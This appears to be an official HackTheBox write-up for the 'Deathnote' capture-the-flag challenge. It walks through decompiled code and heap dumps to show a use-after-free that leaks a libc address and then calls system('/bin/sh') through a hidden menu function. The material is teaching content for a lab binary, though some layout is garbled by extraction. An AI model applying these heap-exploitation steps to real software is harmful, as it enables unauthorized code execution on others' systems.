



HACKTHEBOX



Deathnote

7th February 2024 / Document No. D24.102.190

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: Medium

Classification: Official

Synopsis

- Deathnote is a medium difficulty challenge that features UAF vulnerability to leak libc address and then execute `system("/bin/sh");`.

Description

- You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.

Skills Required

- Basic heap

Skills Learned

- UAF

Enumeration

First of all, we start with a `checksec`:

```
pwndbg> checksec
Arch:      amd64-64-little
RELRO:     Full RELRO
Stack:     Canary found
NX:        NX enabled
PIE:       PIE enabled
RUNPATH:   b'./glibc/'
```

Protections

As we can see, all protections are enabled:

Protection	Enabled	Usage
Canary	✔	Prevents Buffer Overflows
NX	✔	Disables code execution on stack
PIE	✔	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

The program's interface

[illegible]

```

- - - - -
|
| 01. Create  entry
| 02. Remove  entry
| 03. Show   entry
| 42.  ? ? ? ? ? ? ? ?
|
- - - - -

```

💀 1

How big is your request?

💀 12

Page?

💀 3

Name of victim:

💀 w3t

[!] The fate of the victim has been sealed!

Disassembly

Starting with `main()`:

```
void main(void)

{
    ulong uVar1;
    long in_FS_OFFSET;
    undefined8 local_68;
    undefined8 local_60;
    undefined8 local_58;
    undefined8 local_50;
    undefined8 local_48;
    undefined8 local_40;
    undefined8 local_38;
    undefined8 local_30;
    undefined8 local_28;
    undefined8 local_20;
    undefined8 local_10;

    local_10 = *(undefined8 *) (in_FS_OFFSET + 0x28);
    local_68 = 0;
    local_60 = 0;
    local_58 = 0;
    local_50 = 0;
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
LAB_00101a48:
    while (uVar1 = menu(), uVar1 == 0x2a) {
```

```

    _(&local_68);
}
if (uVar1 < 0x2b) {
    if (uVar1 == 3) {
        show(&local_68);
        goto LAB_00101a48;
    }
    if (uVar1 < 4) {
        if (uVar1 == 1) {
            add(&local_68);
        }
        else {
            if (uVar1 != 2) goto LAB_00101a38;
            delete(&local_68);
        }
        goto LAB_00101a48;
    }
}
LAB_00101a38:
    error("Invalid choice!\n");
    goto LAB_00101a48;
}

```

It's a typical `Create Delete Show` heap challenge. There is also another interesting function `_`.

```

void _(char **param_1)

{
    long lVar1;
    code *pcVar2;
    long in_FS_OFFSET;

    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    puts("\x1b[1;33m");
    cls();
    printf(&DAT_00102750,&DAT_00102010,&DAT_001026b4,&DAT_00102010,&DAT_001026b4,&DAT_00102008);
    pcVar2 = (code *)strtoull(*param_1,(char **)0x0,0x10);
    if (((pcVar2 == (code *)0x0) && (**param_1 != '0')) && ((*param_1)[1] != 'x')) {
        puts("Error: Invalid hexadecimal string");
    }
    else {
        if ((*param_1 == (char *)0x0) || (param_1[1] == (char *)0x0)) {
            error("What you are trying to do is unacceptable!\n");
            /* WARNING: Subroutine does not return */
            exit(0x520);
        }
        puts(&DAT_00102848);
        (*pcVar2)(param_1[1]);
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
    }
}

```

```

    __stack_chk_fail();
}
return;
}

```

This function takes a `char **param_1` and executes `pcVar2 = (code *)strtoull(*param_1, (char **)0x0, 0x10);` with it, converting it from `string (char *)`, to `unsigned long long` function pointer. After that, it executes `(*pcVar2)(param_1[1]);` To simplify the code:

```

void _(char **nn) {

    // Convert address from str to ull
    unsigned long tmp = strtoull(nn[0], (char *)0x0 , 16);

    // Declare an alias, pointer to a function that takes char * and returns void
    typedef void (*func_ptr)(char *);

    func_ptr func = (func_ptr)tmp;

    func(nn[1]);

}

```

The juice of the function is something similar to this code above. Long story short, we can call whatever address we want as `nn[0]` with argument `nn[1]`. So, as long as we can write `system()` as `nn[0]` and `"/bin/sh"` as `nn[1]`, we spawn shell. To do that, leaking a `libc` address is necessary.

Libc leak

First, we need to take a look at the 3 main functions: `add`, `delete` and `show`.

`add()`:

```

void add(long param_1)

{
    long lVar1;
    byte bVar2;
    char cVar3;
    ushort uVar4;
    void *pvVar5;
    long in_FS_OFFSET;

    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    get_empty_note(param_1);
    printf(&DAT_00102658);
    uVar4 = read_num();
    if ((uVar4 < 2) || (0x80 < uVar4)) {
        error("Don't play with me!\n");
    }
}

```

```

else {
    printf(&DAT_0010268e);
    bVar2 = read_num();
    cVar3 = check_idx(bVar2);
    if (cVar3 == '\x01') {
        pvVar5 = malloc((ulong)uVar4);
        *(void **)((ulong)bVar2 * 8 + param_1) = pvVar5;
        printf(&DAT_0010269c);
        read(0, *(void **)(param_1 + (ulong)bVar2 * 8), (long)(int)(uVar4 - 1));
        printf("%s\n[!] The fate of the victim has been
sealed!%s\n\n", &DAT_001026b4, &DAT_00102008);
    }
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
return;
}

```

We can allocate up to `0x80` bytes, control the index to write them to, and then fill the buffer as we please.

`delete()`:

```

void delete(long param_1)
{
    long lVar1;
    byte bVar2;
    char cVar3;
    long in_FS_OFFSET;

    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    printf(&DAT_0010268e);
    bVar2 = read_num();
    cVar3 = check_idx(bVar2);
    if (cVar3 == '\x01') {
        if (*(long *)(param_1 + (ulong)bVar2 * 8) == 0) {
            error("Page is already empty!\n");
        }
    }
    else {
        printf("%s\nRemoving page [%d]\n\n%s", &DAT_0010272e, (ulong)bVar2, &DAT_00102008);
    }
    free(*(void **)(param_1 + (ulong)bVar2 * 8));
}
if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
}
return;
}

```

```
}
```

After freeing the chunks, it does not NULL them, thus making it easy to leak addresses. We will make 9 allocations and then free 8 of them to fill `tcache` and place a `libc` address in the chunk. With `show()`, we will leak the `libc` address and calculate `libc base`.

`show()`:

```
void show(long param_1)
{
    long lVar1;
    byte bVar2;
    char cVar3;
    long in_FS_OFFSET;

    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    printf(&DAT_0010268e);
    bVar2 = read_num();
    cVar3 = check_idx(bVar2);
    if (cVar3 == '\x01') {
        if (*(long *)(param_1 + (ulong)bVar2 * 8) == 0) {
            error("Page is empty!\n");
        }
        else {
            printf("\nPage content: %s\n",*(undefined8 *)(param_1 + (ulong)bVar2 * 8));
        }
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
        /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
```

Debugging

Let's see what happens to the heap when we add 1 page and allocate 128 bytes of memory.

```
-----
|
| 01. Create  entry |
| 02. Remove  entry |
| 03. Show    entry |
| 42. ??????? |
|-----|
```

👁 1

How big is your request?

💀 128

Page?

💀 0

Name of victim:

💀 AAAA

[!] The fate of the victim has been sealed!

```
0x5555555596a0 0x0000000000000000 0x0000000000000091 .....
0x5555555596b0 0x00000000a4141414 0x0000000000000000 AAAA.....
0x5555555596c0 0x0000000000000000 0x0000000000000000 .....
0x5555555596d0 0x0000000000000000 0x0000000000000000 .....
0x5555555596e0 0x0000000000000000 0x0000000000000000 .....
0x5555555596f0 0x0000000000000000 0x0000000000000000 .....
0x555555559700 0x0000000000000000 0x0000000000000000 .....
0x555555559710 0x0000000000000000 0x0000000000000000 .....
0x555555559720 0x0000000000000000 0x0000000000000000 .....
0x555555559730 0x0000000000000000 0x0000000000208d1 ..... <-- Top chunk
```

Making 8 more and freeing 8:

```
0x55e60a51f6a0 0x0000000000000000 0x0000000000000091 .....
0x55e60a51f6b0 0x0000000055e60a51f 0x0333e59c7dadf6d5 ..`^.....}.3. <--
tcachebins[0x90][6/7]
0x55e60a51f6c0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f6d0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f6e0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f6f0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f700 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f710 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f720 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f730 0x0000000000000000 0x0000000000000091 .....
0x55e60a51f740 0x000055e3543153af 0x0333e59c7dadf6d5 .S1T.U.....}.3. <--
tcachebins[0x90][5/7]
0x55e60a51f750 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f760 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f770 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f780 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f790 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f7a0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f7b0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f7c0 0x0000000000000000 0x0000000000000091 .....
0x55e60a51f7d0 0x000055e35431525f 0x0333e59c7dadf6d5 _R1T.U.....}.3. <--
tcachebins[0x90][4/7]
0x55e60a51f7e0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51f7f0 0x0000000000000000 0x0000000000000000 .....
```

0x55e60a51f800	0x0000000000000000	0x0000000000000000		
0x55e60a51f810	0x0000000000000000	0x0000000000000000		
0x55e60a51f820	0x0000000000000000	0x0000000000000000		
0x55e60a51f830	0x0000000000000000	0x0000000000000000		
0x55e60a51f840	0x0000000000000000	0x0000000000000000		
0x55e60a51f850	0x0000000000000000	0x0000000000000091		
0x55e60a51f860	0x000055e3543152cf	0x0333e59c7dadf6d5	.R1T.U.....}.3.	<--
tcachebins[0x90][3/7]				
0x55e60a51f870	0x0000000000000000	0x0000000000000000		
0x55e60a51f880	0x0000000000000000	0x0000000000000000		
0x55e60a51f890	0x0000000000000000	0x0000000000000000		
0x55e60a51f8a0	0x0000000000000000	0x0000000000000000		
0x55e60a51f8b0	0x0000000000000000	0x0000000000000000		
0x55e60a51f8c0	0x0000000000000000	0x0000000000000000		
0x55e60a51f8d0	0x0000000000000000	0x0000000000000000		
0x55e60a51f8e0	0x0000000000000000	0x0000000000000091		
0x55e60a51f8f0	0x000055e354315d7f	0x0333e59c7dadf6d5	.]1T.U.....}.3.	<--
tcachebins[0x90][2/7]				
0x55e60a51f900	0x0000000000000000	0x0000000000000000		
0x55e60a51f910	0x0000000000000000	0x0000000000000000		
0x55e60a51f920	0x0000000000000000	0x0000000000000000		
0x55e60a51f930	0x0000000000000000	0x0000000000000000		
0x55e60a51f940	0x0000000000000000	0x0000000000000000		
0x55e60a51f950	0x0000000000000000	0x0000000000000000		
0x55e60a51f960	0x0000000000000000	0x0000000000000000		
0x55e60a51f970	0x0000000000000000	0x0000000000000091		
0x55e60a51f980	0x000055e354315def	0x0333e59c7dadf6d5	.]1T.U.....}.3.	<--
tcachebins[0x90][1/7]				
0x55e60a51f990	0x0000000000000000	0x0000000000000000		
0x55e60a51f9a0	0x0000000000000000	0x0000000000000000		
0x55e60a51f9b0	0x0000000000000000	0x0000000000000000		
0x55e60a51f9c0	0x0000000000000000	0x0000000000000000		
0x55e60a51f9d0	0x0000000000000000	0x0000000000000000		
0x55e60a51f9e0	0x0000000000000000	0x0000000000000000		
0x55e60a51f9f0	0x0000000000000000	0x0000000000000000		
0x55e60a51fa00	0x0000000000000000	0x0000000000000091		
0x55e60a51fa10	0x000055e354315c9f	0x0333e59c7dadf6d5	.\1T.U.....}.3.	<--
tcachebins[0x90][0/7]				
0x55e60a51fa20	0x0000000000000000	0x0000000000000000		
0x55e60a51fa30	0x0000000000000000	0x0000000000000000		
0x55e60a51fa40	0x0000000000000000	0x0000000000000000		
0x55e60a51fa50	0x0000000000000000	0x0000000000000000		
0x55e60a51fa60	0x0000000000000000	0x0000000000000000		
0x55e60a51fa70	0x0000000000000000	0x0000000000000000		
0x55e60a51fa80	0x0000000000000000	0x0000000000000000		
0x55e60a51fa90	0x0000000000000000	0x0000000000000091		<--
unsortedbin[all][0]				
0x55e60a51faa0	0x00007f9b9ba1ace0	0x00007f9b9ba1ace0		
0x55e60a51fab0	0x0000000000000000	0x0000000000000000		
0x55e60a51fac0	0x0000000000000000	0x0000000000000000		
0x55e60a51fad0	0x0000000000000000	0x0000000000000000		
0x55e60a51fae0	0x0000000000000000	0x0000000000000000		

```
0x55e60a51faf0 0x0000000000000000 0x0000000000000000 .....
0x55e60a51fb00 0x0000000000000000 0x0000000000000000 .....
0x55e60a51fb10 0x0000000000000000 0x0000000000000000 .....
```

We see that the `unsorted bin` contains a `libc address`. We leak this and calculate the offset for `libc base` and we are ready to proceed.

Last but not least, we need to make 2 last allocations to enter the address of `system` and the string `"/bin/sh"` and then enter `42` to call `_` and execute it.